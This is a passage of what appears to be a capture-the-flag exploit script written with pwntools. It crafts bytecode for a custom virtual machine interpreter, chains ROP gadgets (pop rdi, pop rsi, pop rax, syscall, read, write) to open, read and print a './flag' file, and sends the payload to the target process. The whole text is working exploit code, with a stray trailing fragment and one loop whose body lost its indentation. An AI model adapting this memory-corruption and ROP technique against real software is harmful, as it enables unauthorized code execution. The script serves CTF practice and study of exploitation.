payload += p32(push_arg) + p32(0x7600)
payload += p32(call_by_arg) + p32(add_func_base) + p32(2) + p32(0)
payload += p32(push_arg) + p32(0x100000000 - 0x3eb - 1)
payload += p32(pop_by_arg) + p32(0x100000000 - 1)

payload += p32(push_data) + p32(0)
payload += p32(push_data) + p32(1)
payload += p32(push_arg) + p32(0x100000000 - 0x3eb)
payload += p32(pop_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(0xfffffeb0)
payload += p32(call_by_arg) + p32(add_func_base) + p32(2) + p32(0)
payload += p32(push_arg) + p32(0x100000000 - 0x3eb - 1)
payload += p32(pop_by_arg) + p32(0x100000000 - 1)

##################################### write data_len

payload += p32(push_arg) + p32(0x7fffffff)
payload += p32(push_arg) + p32(0x100000000 - 0x3eb + 1)
payload += p32(pop_by_arg) + p32(0x100000000 - 1)

##################################### rop

payload += p32(push_arg) + p32(0x100000000 - 0x540 + 13)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(pop_data) + p32(1)
payload += p32(push_arg) + p32(0x100000000 - 0x540 + 12)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(pop_rdi_ret - base_off + 0x100000000)
payload += p32(call_by_arg) + p32(add_func_base) + p32(2) + p32(0)
payload += p32(pop_data) + p32(0)
# pop rdi

payload += p32(push_arg) + p32(0x100000000 - 0x3eb - 4)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(pop_data) + p32(3)
payload += p32(push_arg) + p32(0x100000000 - 0x3eb - 5)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(flag_addr)
payload += p32(call_by_arg) + p32(add_func_base) + p32(2) + p32(0)
payload += p32(pop_data) + p32(2)
# flag_addr

payload += p32(push_data) + p32(1)
payload += p32(pop_data) + p32(5)
payload += p32(push_data) + p32(0)
payload += p32(push_arg) + p32(pop_rsi_ret - pop_rdi_ret)
payload += p32(call_by_arg) + p32(add_func_base) + p32(2) + p32(0)
payload += p32(pop_data) + p32(4)
# pop rsi

payload += p32(push_arg) + p32(0)
payload += p32(push_arg) + p32(0)
payload += p32(pop_data) + p32(7)
payload += p32(pop_data) + p32(6)
# 0

payload += p32(push_data) + p32(1)
payload += p32(pop_data) + p32(9)
payload += p32(push_data) + p32(0)
payload += p32(push_arg) + p32(pop_rax_ret - pop_rdi_ret)
payload += p32(call_by_arg) + p32(add_func_base) + p32(2) + p32(0)
payload += p32(pop_data) + p32(8)
# pop rax

# random

payload += p32(push_data) + p32(8)
payload += p32(push_data) + p32(9)
payload += p32(pop_data) + p32(13)
payload += p32(pop_data) + p32(12)
# pop rax

payload += p32(push_arg) + p32(2)
payload += p32(push_arg) + p32(0)
payload += p32(pop_data) + p32(15)
payload += p32(pop_data) + p32(14)
# 2

payload += p32(push_data) + p32(1)
payload += p32(pop_data) + p32(17)
payload += p32(push_data) + p32(0)
payload += p32(push_arg) + p32(syscall - pop_rdi_ret)
payload += p32(call_by_arg) + p32(add_func_base) + p32(2) + p32(0)
payload += p32(pop_data) + p32(16)
# syscall

payload += p32(push_data) + p32(1)
payload += p32(push_data) + p32(0)
payload += p32(pop_data) + p32(18)
payload += p32(pop_data) + p32(19)
# pop rdi

payload += p32(push_arg) + p32(3)
payload += p32(push_arg) + p32(0)
payload += p32(pop_data) + p32(21)
payload += p32(pop_data) + p32(20)
# 3

payload += p32(push_data) + p32(5)
payload += p32(push_data) + p32(4)
payload += p32(pop_data) + p32(22)
payload += p32(pop_data) + p32(23)
# pop rsi

payload += p32(push_data) + p32(3)
payload += p32(push_data) + p32(2)
payload += p32(pop_data) + p32(24)
payload += p32(pop_data) + p32(25)
# buf

payload += p32(push_data) + p32(1)
payload += p32(pop_data) + p32(27)
payload += p32(push_data) + p32(0)
payload += p32(push_arg) + p32(pop_rdx_pop_ret - pop_rdi_ret)
payload += p32(call_by_arg) + p32(add_func_base) + p32(2) + p32(0)
payload += p32(pop_data) + p32(26)
# pop rdx pop

payload += p32(push_arg) + p32(0)
payload += p32(push_arg) + p32(0x30)
payload += p32(pop_data) + p32(28)
payload += p32(pop_data) + p32(29)
# 0x30

payload += p32(push_data) + p32(1)
payload += p32(pop_data) + p32(33)
payload += p32(push_data) + p32(0)
payload += p32(push_arg) + p32(read_addr - pop_rdi_ret)
payload += p32(call_by_arg) + p32(add_func_base) + p32(2) + p32(0)
payload += p32(pop_data) + p32(32)
# read

payload += p32(push_data) + p32(1)
payload += p32(push_data) + p32(0)
payload += p32(pop_data) + p32(34)
payload += p32(pop_data) + p32(35)
# pop rdi

payload += p32(push_arg) + p32(0)
payload += p32(push_arg) + p32(1)
payload += p32(pop_data) + p32(36)
payload += p32(pop_data) + p32(37)
# 1

payload += p32(push_data) + p32(1)
payload += p32(pop_data) + p32(39)
payload += p32(push_data) + p32(0)
payload += p32(push_arg) + p32(write_addr - pop_rdi_ret)
payload += p32(call_by_arg) + p32(add_func_base) + p32(2) + p32(0)
payload += p32(pop_data) + p32(38)
# write

#################################### getflag~~~

payload += p32(0xDEAD1D)

print(hex(len(payload)))

#################################### add_func

payload = payload.ljust(0x400, b"\x00")
payload += p32(push_arg) + p32(0)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(1)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(xor_cal)
payload += p32(push_arg) + p32(2)
payload += p32(pop_by_arg) + p32(0x100000000 - 1)
#a ^ b
payload += p32(push_arg) + p32(0)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(1)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(and_cal)
payload += p32(push_arg) + p32(1)
payload += p32(left_shift)
payload += p32(push_arg) + p32(3)
payload += p32(pop_by_arg) + p32(0x100000000 - 1)
#(a & b) << 1
payload += p32(push_arg) + p32(3)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(0)
payload += p32(cmp_euql)
payload += p32(jmp_if_val1) + p32(add_func_base + 0xcc // 4)
payload += p32(push_arg) + p32(2)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(3)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(call_by_arg) + p32(add_func_base) + p32(2) + p32(0)
payload += p32(ret)
payload += p32(push_arg) + p32(2)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(ret)
payload += b"./flag\x00\x00"

print(hex(len(payload)))

r.sendlineafter("UserName: ", payload)
r.recvuntil("Starting...")

r.sendline(str(4))
r.sendline(str(-1))
r.sendline(str(0x27))
for i in range(0x28):
r.sendline(str(0x55555555))

r.sendline(str(3))
r.sendline(str(0x9f ^ 0x52))
r.sendline(str(0x27))
r.send("a" * 0x9c)
r.recvuntil("\xac\n")

r.sendline(str(-0x1a3e))

# gdb.attach(r, "b * $rebase(0x1D82)\nc")

r.sendafter("UserName: ", "\n")

r.interactive()
0%
;